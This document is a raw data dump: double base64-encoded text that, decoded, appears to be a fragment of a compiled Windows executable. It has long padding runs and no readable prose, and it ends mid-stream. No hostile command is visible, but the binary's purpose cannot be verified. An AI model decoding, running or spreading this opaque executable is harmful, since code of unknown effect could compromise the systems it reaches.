QUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZGV2FFQnVRQUJvDQpRR3hBQVA4VkFGQkFBSXZ3aGZaMVVHaDRZRUFBNkxBRUFBQ0R4QVNOUkNRRVZsWlFhQUFFQUFEL0ZSQlFRQUJRVm1nQUV3QUEveFVVDQpVRUFBaTB3a0JGRm9kR0JBQU9oL0JBQUFpMVFrRElQRUNGTC9GVnhRUUFCcUFlaVZBd0FBYWdCVy94VUVVRUFBaGNCMVUyaFVZRUFBDQo2Rk1FQUFDRHhBU05SQ1FFYWdCcUFGQm9BQVFBQVA4VkVGQkFBRkJxQUdnQUV3QUEveFVVVUVBQWkwd2tCRkZvZEdCQUFPZ2ZCQUFBDQppMVFrRElQRUNGTC9GVnhRUUFCcUFlZzFBd0FBYURCZ1FBRG9BQVFBQUlQRUJGYi9GUWhRUUFCZVdjT1FVMVpYYU94aFFBRG81UU1BDQpBR2lrWVVBQTZOc0RBQUJvYUdGQUFPalJBd0FBaTBRa0hJUEVERFBiZy9nQ0Q0VTFBUUFBaTBRa0ZMNWdZVUFBaTNnRWk4ZUtFSXJLDQpPaFoxSElUSmRCU0tVQUdLeWpwV0FYVU9nOEFDZzhZQ2hNbDE0RFBBNndVYndJUFkvNFhBZFNlaFZHRkFBSXNOV0dGQUFJc1ZYR0ZBDQpBS05BYmtBQWlRMUVia0FBaVJWSWJrQUE2YmNBQUFDK1RHRkFBSXZIaWhDS3lqb1dkUnlFeVhRVWlsQUJpc282VmdGMURvUEFBb1BHDQpBb1RKZGVBendPc0ZHOENEMlArRndIVWtvVUJoUUFDTERVUmhRQUNLRlVoaFFBQ2pRRzVBQUlrTlJHNUFBSWdWU0c1QUFPdGZ2amhoDQpRQUNMeDRvUWlzbzZGblVjaE1sMEZJcFFBWXJLT2xZQmRRNkR3QUtEeGdLRXlYWGdNOERyQlJ2QWc5ai9oY0IxSnFFd1lVQUFab3NODQpOR0ZBQUlvVk5tRkFBS05BYmtBQVpva05SRzVBQUlnVlJtNUFBT3NGdXdFQUFBQm9BQUVBQUdod2FrQUFhRUJzUUFEbzBBSUFBSVBFDQpET2s2QVFBQWcvZ0RENFUyQVFBQVZZdHNKQmkrWUdGQUFJdDlDSXZIaWhDS3lqb1dkUnlFeVhRVWlsQUJpc282VmdGMURvUEFBb1BHDQpBb1RKZGVBendPc0ZHOENEMlArRndIVW5vVlJoUUFDTERWaGhRQUNMRlZ4aFFBQ2pRRzVBQUlrTlJHNUFBSWtWU0c1QUFPbTNBQUFBDQp2a3hoUUFDTHg0b1Fpc282Rm5VY2hNbDBGSXBRQVlyS09sWUJkUTZEd0FLRHhnS0V5WFhnTThEckJSdkFnOWovaGNCMUpLRkFZVUFBDQppdzFFWVVBQWloVklZVUFBbzBCdVFBQ0pEVVJ1UUFDSUZVaHVRQURyWDc0NFlVQUFpOGVLRUlyS09oWjFISVRKZEJTS1VBR0t5anBXDQpBWFVPZzhBQ2c4WUNoTWwxNERQQTZ3VWJ3SVBZLzRYQWRTYWhNR0ZBQUdhTERUUmhRQUNLRlRaaFFBQ2pRRzVBQUdhSkRVUnVRQUNJDQpGVVp1UUFEckJic0JBQUFBaTBVRWFBQUJBQUJRYUVCc1FBRG9rZ0VBQUlQRURGMkQrd0YxTW1qMFlFQUE2RUVCQUFCbzFHQkFBT2czDQpBUUFBYUxSZ1FBRG9MUUVBQUdpWVlFQUE2Q01CQUFDRHhCQnFBZWhFQUFBQTZFTDgvLzlmWGpQQVc4T1FrSkNRa0pDUWtKQ1FrSkNoDQoySUZBQUlYQWRBTC8wR2dVWUVBQWFBaGdRQURvemdBQUFHZ0VZRUFBYUFCZ1FBRG92d0FBQUlQRUVNTnFBR29BLzNRa0RPZ1ZBQUFBDQpnOFFNdzJvQWFnSC9kQ1FNNkFRQUFBQ0R4QXpEVjJvQlh6azl2R3BBQUhVUi8zUWtDUDhWSkZCQUFGRC9GU0JRUUFDRGZDUU1BRk9MDQpYQ1FVaVQyNGFrQUFpQjIwYWtBQWRUeWgxSUZBQUlYQWRDS0xEZENCUUFCV2pYSDhPL0J5RTRzR2hjQjBBdi9RZys0RU96WFVnVUFBDQpjKzFlYUNCZ1FBQm9HR0JBQU9ncUFBQUFXVmxvS0dCQUFHZ2tZRUFBNkJrQUFBQlpXWVhiVzNVUS8zUWtDSWs5dkdwQUFQOFZIRkJBDQpBRi9EVm90MEpBZzdkQ1FNY3cyTEJvWEFkQUwvMElQR0JPdnRYc05UVnI0Z1lrQUFWMWJvVmdJQUFJdjRqVVFrR0ZEL2RDUVlWdWdQDQpBd0FBVmxlTDJPakpBZ0FBZzhRWWk4TmZYbHZEek16TXpNek16TXpNek16TXpJdE1KQXhYaGNsMGVsWlRpOW1MZENRVTk4WURBQUFBDQppM3drRUhVSHdla0NkVy9ySVlvR1JvZ0hSMGwwSllUQWRDbjN4Z01BQUFCMTY0dlp3ZWtDZFZHRDR3TjBEWW9HUm9nSFI0VEFkQzlMDQpkZk9MUkNRUVcxNWZ3L2ZIQXdBQUFIUVNpQWRIU1ErRWlnQUFBUGZIQXdBQUFIWHVpOW5CNlFKMWJJZ0hSMHQxK2x0ZWkwUWtDRi9EDQppUmVEeHdSSmRLKzYvLzcrZm9zR0E5Q0Q4UDh6d29zV2c4WUVxUUFCQVlGMDNvVFNkQ3lFOW5RZTk4SUFBUDhBZEF6M3dnQUFBUDkxDQp4b2tYNnhpQjR2Ly9BQUNKRitzT2dlTC9BQUFBaVJmckJEUFNpUmVEeHdRendFbDBDalBBaVFlRHh3UkpkZmlENHdOMWhZdEVKQkJiDQpYbC9EVll2c2F2OW93RkJBQUdoZ0tVQUFaS0VBQUFBQVVHU0pKUUFBQUFDRDdCQlRWbGVKWmVqL0ZTeFFRQUF6MG9yVWlSV01ha0FBDQppOGlCNGY4QUFBQ0pEWWhxUUFEQjRRZ0R5b2tOaEdwQUFNSG9FS09BYWtBQWFnRG92aEVBQUZtRndIVUlhaHpvbWdBQUFGbURaZndBDQo2UDBQQUFEL0ZTaFFRQUNqeElGQUFPaTdEZ0FBbzhCcVFBRG9aQXdBQU9pbUN3QUE2Q3I5Ly8raG5HcEFBS09nYWtBQVVQODFsR3BBDQpBUDgxa0dwQUFPZ2Urdi8vZzhRTWlVWGtVT2d2L2YvL2kwWHNpd2lMQ1lsTjRGQlI2T1FKQUFCWldjT0xaZWovZGVEb0lmMy8vNE05DQp5R3BBQUFKMEJlZzlFd0FBLzNRa0JPaHRFd0FBYVA4QUFBRC9GZkJoUUFCWldjT0RQY2hxUUFBQ2RBWG9HQk1BQVA5MEpBVG9TQk1BDQpBRmxvL3dBQUFQOFZIRkJBQU1OV2kzUWtDUDkyRU9qMUZBQUFoY0JaZEhlQi9pQmlRQUIxQkRQQTZ3dUIva0JpUUFCMVkyb0JXUDhGDQoxR3BBQUdiM1Jnd01BWFZTZ3p5RnpHcEFBQUJUVjQwOGhjeHFRQUM3QUJBQUFIVWdVK2c1RkFBQWhjQlppUWQxRTQxR0ZHb0NpVVlJDQppUVpZaVVZWWlVWUU2dzJMUDRsZUdJbCtDSWsraVY0RVpvRk9EQUlSYWdGWVgxdGV3elBBWHNPRGZDUUVBRlowSW90MEpBejJSZzBRDQpkQ2xXNkw0VUFBQ0FaZzN1ZzJZWUFJTW1BSU5tQ0FCWlhzT0xSQ1FNOWtBTkVIUUhVT2ljRkFBQVdWN0RWWXZzZ2V4SUFnQUFVMVpYDQppMzBNTS9hS0gwZUUyNGwxOUlsMTdJbDlEQStFOUFZQUFJdE44RFBTNndpTFRmQ0xkZEF6MGpsVjdBK00zQVlBQUlEN0lId1RnUHQ0DQpmdzRQdnNPS2dLeFFRQUNENEEvckFqUEFENzZFeHN4UVFBREIrQVNEK0FlSlJkQVBoNW9HQUFEL0pJVWhIMEFBZzAzdy80bFZ6SWxWDQoySWxWNElsVjVJbFYvSWxWM09sNEJnQUFENzdEZytnZ2REdUQ2QU4wTFlQb0NIUWZTRWgwRW9Qb0F3K0ZXUVlBQUlOTi9BanBVQVlBDQpBSU5OL0FUcFJ3WUFBSU5OL0FIcFBnWUFBSUJOL0lEcE5RWUFBSU5OL0FMcExBWUFBSUQ3S25VampVVVFVT2oxQmdBQWhjQlppVVhnDQpENDBTQmdBQWcwMzhCUGZZaVVYZzZRUUdBQUNMUmVBUHZzdU5CSUNOUkVIUTYrbUpWZkRwN1FVQUFJRDdLblVlalVVUVVPaTJCZ0FBDQpoY0JaaVVYd0Q0M1RCUUFBZzAzdy8rbktCUUFBalFTSkQ3N0xqVVJCMElsRjhPbTRCUUFBZ1B0SmRDNkErMmgwSUlEN2JIUVNnUHQzDQpENFdnQlFBQWdFMzlDT21YQlFBQWcwMzhFT21PQlFBQWcwMzhJT21GQlFBQWdEODJkUlNBZndFMGRRNUhSNEJOL1lDSmZRenBiQVVBDQpBSWxWMElzTjJHVkFBSWxWM0ErMncvWkVRUUdBZEJtTlJleFEvM1VJRDc3RFVPaC9CUUFBaWgrRHhBeEhpWDBNalVYc1VQOTFDQSsrDQp3MURvWmdVQUFJUEVET2tsQlFBQUQ3N0RnL2huRDQ4Y0FnQUFnL2hsRDQyV0FBQUFnL2hZRDQvckFBQUFENFI0QWdBQWcraERENFNmDQpBQUFBU0VoMGNFaElkR3lENkF3UGhla0RBQUJtOTBYOE1BaDFCSUJOL1FpTGRmQ0QvdjkxQmI3Ly8vOS9qVVVRVU9pY0JRQUFadmRGDQovQkFJV1l2SWlVMzRENFQrQVFBQWhjbDFDWXNOL0dGQUFJbE4rTWRGM0FFQUFBQ0x3WXZXVG9YU0Q0VFVBUUFBWm9NNEFBK0V5Z0VBDQpBRUJBNitmSFJjd0JBQUFBZ01NZ2cwMzhRSTI5dVAzLy96dktpWDM0RDQzUEFBQUF4MFh3QmdBQUFPblJBQUFBWnZkRi9EQUlkUVNBDQpUZjBJWnZkRi9CQUlqVVVRVUhRNzZEQUZBQUJRallXNC9mLy9VT2dTRXdBQWc4UU1pVVgwaGNCOU1zZEYyQUVBQUFEcktZUG9XblF5DQpnK2dKZE1WSUQ0VG9BUUFBNlFnREFBRG8yQVFBQUZtSWhiajkvLy9IUmZRQkFBQUFqWVc0L2YvL2lVWDQ2ZWNDQUFDTlJSQlE2TE1FDQpBQUNGd0ZsME00dElCSVhKZEN6MlJmMElkQmNQdndEUjZJbE4rSWxGOU1kRjNBRUFBQURwdFFJQUFJTmwzQUNKVGZnUHZ3RHBvd0lBDQpBS0g0WVVBQWlVWDRVT21PQUFBQWRReUErMmQxQjhkRjhBRUFBQUNMUlJEL2RjeUR3QWlKUlJEL2RmQ0xTUGlKVGJpTFFQeUpSYndQDQp2c05RallXNC9mLy9VSTFGdUZEL0ZjQmxRQUNMZGZ5RHhCU0I1b0FBQUFCMEZJTjk4QUIxRG8yRnVQMy8vMUQvRmN4bFFBQlpnUHRuDQpkUktGOW5VT2pZVzQvZi8vVVA4VnhHVkFBRm1BdmJqOS8vOHRkUTJBVGYwQmpiMjUvZi8vaVgzNFYraHJFUUFBV2VuOEFRQUFnK2hwDQpENFRSQUFBQWcrZ0ZENFNlQUFBQVNBK0VoQUFBQUVoMFVZUG9BdytFL2YzLy8waElENFN4QUFBQWcrZ0RENFhKQVFBQXgwWFVKd0FBDQpBT3M4SzhIUitPbTBBUUFBaGNsMUNZc04rR0ZBQUlsTitJdkJpOVpPaGRKMENJQTRBSFFEUU92eEs4SHBqd0VBQU1kRjhBZ0FBQURIDQpSZFFIQUFBQTlrWDhnTWRGOUJBQUFBQjBYWXBGMU1aRjZqQUVVY2RGNUFJQUFBQ0lSZXZyU1BaRi9JREhSZlFJQUFBQWREdUFUZjBDDQo2eldOUlJCUTZCc0RBQUQyUmZ3Z1dYUUpab3RON0dhSkNPc0ZpMDNzaVFqSFJkZ0JBQUFBNlNNQ0FBQ0RUZnhBeDBYMENnQUFBUFpGDQovWUIwREkxRkVGRG83UUlBQUZuclFmWkYvQ0IwSWZaRi9FQ05SUkJRZEF6b3lBSUFBRmtQdjhDWjZ5WG92QUlBQUZrUHQ4RHI4dlpGDQovRUNOUlJCUWRBam9wd0lBQUZucjRPaWZBZ0FBV1RQUzlrWDhRSFFiaGRKL0Yzd0VoY0J6RWZmWWc5SUFpL0QzMm9CTi9RR0wrdXNFDQppL0NMK3ZaRi9ZQjFBNFBuQUlOOThBQjlDY2RGOEFFQUFBRHJCSU5sL1BlTHhndkhkUVNEWmVRQWpVVzNpVVg0aTBYdy8wM3doY0IvDQpCb3ZHQzhkME80dEY5SmxTVUZkV2lVWEFpVlhFNkJrUkFBRC9kY1NMMklQRE1QOTF3RmRXNkpjUUFBQ0Qrem1MOEl2NmZnTURYZFNMDQpSZmovVGZpSUdPdTFqVVczSzBYNC8wWDQ5a1g5QW9sRjlIUVppMDM0Z0Rrd2RRU0Z3SFVOLzAzNFFJdE4rTVlCTUlsRjlJTjkyQUFQDQpoZlFBQUFDTFhmejJ3MEIwSnZiSEFYUUd4a1hxTGVzVTlzTUJkQWJHUmVvcjZ3bjJ3d0owQzhaRjZpREhSZVFCQUFBQWkzWGdLM1hrDQpLM1gwOXNNTWRSS05SZXhRLzNVSVZtb2c2QmNCQUFDRHhCQ05SZXhRalVYcS8zVUkvM1hrVU9neUFRQUFnOFFROXNNSWRCZjJ3d1IxDQpFbzFGN0ZEL2RRaFdhakRvNVFBQUFJUEVFSU45M0FCMFFZTjk5QUIrTzR0RjlJdGQrSTE0LzJhTEEwTlFqVVhJVUVQb013OEFBRm1GDQp3RmwrTW8xTjdGSC9kUWhRalVYSVVPallBQUFBZzhRUWk4ZFBoY0IxME9zVmpVWHNVUDkxQ1A5MTlQOTErT2k2QUFBQWc4UVE5a1g4DQpCSFFTalVYc1VQOTFDRlpxSU9oeEFBQUFnOFFRaTMwTWloOUhoTnVKZlF3UGhSUDUvLytMUmV4Zlhsdkp3NThaUUFCMUdFQUFrQmhBDQpBTndZUUFBVEdVQUFHeGxBQUZBWlFBRGpHVUFBVll2c2kwME0vMGtFZUE2TEVZcEZDSWdDL3dFUHRzRHJDMUgvZFFqbzRnOEFBRmxaDQpnL2ovaTBVUWRRV0RDUDlkdy84QVhjTldWNHQ4SkJDTHgwK0Z3SDRoaTNRa0dGYi9kQ1FZLzNRa0ZPaXMvLy8vZzhRTWd6Ny9kQWVMDQp4MCtGd0gvalgxN0RVNHRjSkF5THcwdFdWNFhBZmlhTGZDUWNpM1FrRUErK0JsZEcvM1FrSEZEb2RmLy8vNFBFRElNLy8zUUhpOE5MDQpoY0IvNGw5ZVc4T0xSQ1FFZ3dBRWl3Q0xRUHpEaTBRa0JJTUFDSXNJaTBINGkxSDh3NHRFSkFTREFBU0xBR2FMUVB6RG9jQ0JRQUJXDQphaFNGd0Y1MUI3Z0FBZ0FBNndZN3huMEhpOGFqd0lGQUFHb0VVT2dwRUFBQVdhT2tjVUFBaGNCWmRTRnFCRmFKTmNDQlFBRG9FQkFBDQpBRm1qcEhGQUFJWEFXWFVJYWhyb2tmYi8vMWt6eWJnQVlrQUFpeFdrY1VBQWlRUVJnOEFnZzhFRVBZQmtRQUI4NmpQU3VSQmlRQUNMDQp3b3Z5d2ZnRmcrWWZpd1NGb0hCQUFJc0U4SVA0LzNRRWhjQjFBNE1KLzRQQklFS0IrWEJpUUFCODFGN0Q2RUVNQUFDQVBiUnFRQUFBDQpkQVhwRlJBQUFNTlZpK3hULzNVSTZEVUJBQUNGd0ZrUGhDQUJBQUNMV0FpRjJ3K0VGUUVBQUlQN0JYVU1nMkFJQUdvQldPa05BUUFBDQpnL3NCRDRUMkFBQUFpdzNZYWtBQWlVMElpMDBNaVEzWWFrQUFpMGdFZy9rSUQ0WElBQUFBaXczNFpFQUFpeFg4WkVBQUE5RldPOHA5DQpGWTAwU1N2UmpUUzFpR1JBQUlNbUFJUEdERXAxOTRzQWl6VUVaVUFBUFk0QUFNQjFETWNGQkdWQUFJTUFBQURyY0QyUUFBREFkUXpIDQpCUVJsUUFDQkFBQUE2MTA5a1FBQXdIVU14d1VFWlVBQWhBQUFBT3RLUFpNQUFNQjFETWNGQkdWQUFJVUFBQURyTnoyTkFBREFkUXpIDQpCUVJsUUFDQ0FBQUE2eVE5andBQXdIVU14d1VFWlVBQWhnQUFBT3NSUFpJQUFNQjFDc2NGQkdWQUFJb0FBQUQvTlFSbFFBQnFDUC9UDQpXWWsxQkdWQUFGbGU2d2lEWUFnQVVmL1RXWXRGQ0tQWWFrQUFnOGovNnduL2RRei9GVEJRUUFCYlhjT0xWQ1FFaXcwQVpVQUFPUldBDQpaRUFBVnJpQVpFQUFkQldOTkVtTk5MV0FaRUFBZzhBTU84WnpCRGtRZGZXTkRFbGVqUXlOZ0dSQUFEdkJjd1E1RUhRQ004RERVelBiDQpPUjNNZ1VBQVZsZDFCZWk3RXdBQWl6WEFha0FBTS8rS0JqckRkQkk4UFhRQlIxYm8vZ29BQUZtTmRBWUI2K2lOQkwwRUFBQUFVT2crDQpDUUFBaS9CWk8vT0pOWnhxUUFCMUNHb0o2RlAwLy85Wml6M0Fha0FBT0I5ME9WVlg2TVFLQUFDTDZGbEZnRDg5ZENKVjZBa0pBQUE3DQp3MW1KQm5VSWFnbm9KUFQvLzFsWC96Ym9qZzRBQUZtRHhnUlpBLzA0SDNYSlhmODF3R3BBQU9oR0RnQUFXWWtkd0dwQUFJa2VYMTdIDQpCY2lCUUFBQkFBQUFXOE5WaSt4UlVWTXoyemtkeklGQUFGWlhkUVhvL1JJQUFMN2Nha0FBYUFRQkFBQldVLzhWTkZCQUFLSEVnVUFBDQppVFdzYWtBQWkvNDRHSFFDaS9pTlJmaFFqVVg4VUZOVFYraE5BQUFBaTBYNGkwMzhqUVNJVU9ocENBQUFpL0NEeEJnNzgzVUlhZ2pvDQpndlAvLzFtTlJmaFFqVVg4VUl0Ri9JMEVobEJXVitnWEFBQUFpMFg4ZzhRVVNJazFsR3BBQUY5ZW81QnFRQUJieWNOVmkreUxUUmlMDQpSUlJUVm9NaEFJdDFFRmVMZlF6SEFBRUFBQUNMUlFpRi8zUUlpVGVEeHdTSmZReUFPQ0oxUklwUUFVQ0EraUowS1lUU2RDVVB0dEwyDQpnb0Z2UUFBRWRBei9BWVgyZEFhS0VJZ1dSa0QvQVlYMmROV0tFSWdXUnV2Ty93R0Y5blFFZ0NZQVJvQTRJblZHUU90RC93R0Y5blFGDQppaENJRmthS0VFQVB0dHIyZzRGdlFBQUVkQXovQVlYMmRBV0tHSWdlUmtDQStpQjBDWVRTZEFtQStnbDF6SVRTZFFOSTZ3aUY5blFFDQpnR2IvQUlObEdBQ0FPQUFQaE9BQUFBQ0tFSUQ2SUhRRmdQb0pkUU5BNi9HQU9BQVBoTWdBQUFDRi8zUUlpVGVEeHdTSmZReUxWUlQvDQpBc2RGQ0FFQUFBQXoyNEE0WEhVRVFFUHI5NEE0SW5VczlzTUJkU1V6L3psOUdIUU5nSGdCSW8xUUFYVUVpOExyQTRsOUNJdDlERFBTDQpPVlVZRDVUQ2lWVVkwZXVMMDB1RjBuUU9RNFgyZEFUR0JseEcvd0ZMZGZPS0VJVFNkRXFEZlJnQWRRcUEraUIwUDRENkNYUTZnMzBJDQpBSFF1aGZaMEdRKzIydmFEZ1c5QUFBUjBCb2dXUmtEL0FZb1FpQlpHNnc4UHR0TDJnb0Z2UUFBRWRBTkEvd0gvQVVEcFdQLy8vNFgyDQpkQVNBSmdCRy93SHBGLy8vLzRYL2RBT0RKd0NMUlJSZlhsdi9BRjNEVVZHaDRHdEFBRk5WaXkxSVVFQUFWbGN6MnpQMk0vODd3M1V6DQovOVdMOER2emRBekhCZUJyUUFBQkFBQUE2eWovRlVSUVFBQ0wrRHY3RDRUcUFBQUF4d1hnYTBBQUFnQUFBT21QQUFBQWcvZ0JENFdCDQpBQUFBTy9OMURQL1ZpL0E3OHcrRXdnQUFBR1k1SG92R2RBNUFRR1k1R0hYNVFFQm1PUmgxOGl2R2l6MUFVRUFBMGZoVFUwQlRVMUJXDQpVMU9KUkNRMC85ZUw2RHZyZERKVjZOWUZBQUE3dzFtSlJDUVFkQ05UVTFWUS8zUWtKRlpUVS8vWGhjQjFEdjkwSkJEb0hnc0FBRm1KDQpYQ1FRaTF3a0VGYi9GVHhRUUFDTHcrdFRnL2dDZFV3NyszVU0veFZFVUVBQWkvZzcrM1E4T0IrTHgzUUtRRGdZZGZ0QU9CaDE5aXZIDQpRSXZvVmVodkJRQUFpL0JaTy9OMUJEUDI2d3RWVjFib3lBOEFBSVBFREZmL0ZUaFFRQUNMeHV